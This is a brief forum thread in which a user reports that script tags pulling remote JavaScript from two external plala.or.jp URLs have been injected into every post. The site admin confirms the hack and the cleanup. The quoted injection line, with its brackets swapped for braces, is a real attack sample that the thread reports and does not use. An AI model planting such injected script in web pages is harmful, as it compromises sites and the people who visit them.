Attempted script injection on forum posts

[Kosh]

Hi, I'm not sure how long this has been happening, but I just noticed that all posts now have some (badly) injected scripting showing up at the end of each post, but before any signature. Here's what shows up in plain text:

Code: Select all

{script src=http://cgi35.plala.or.jp/z32web30/tmp/css/css.js}{/script}document.write("{script src=http://cgi35.plala.or.jp/Mu/gwbbs/lock/eng/css.js}{/script}");

Sigh, angle brackets replaced with braces due to forum mis-parsing.


[edit] this post doesn't have the trailing garbage, making it appear more like the posts table has had an update run on it than an alteration in a PHP script.

[Rollie]

Yes, fighting the hackers takes up a ridiculous amount of my time. Hence why the forums were offline for a few days while I corrected the problem.

[Kosh]

Yea, I figured that was the reason.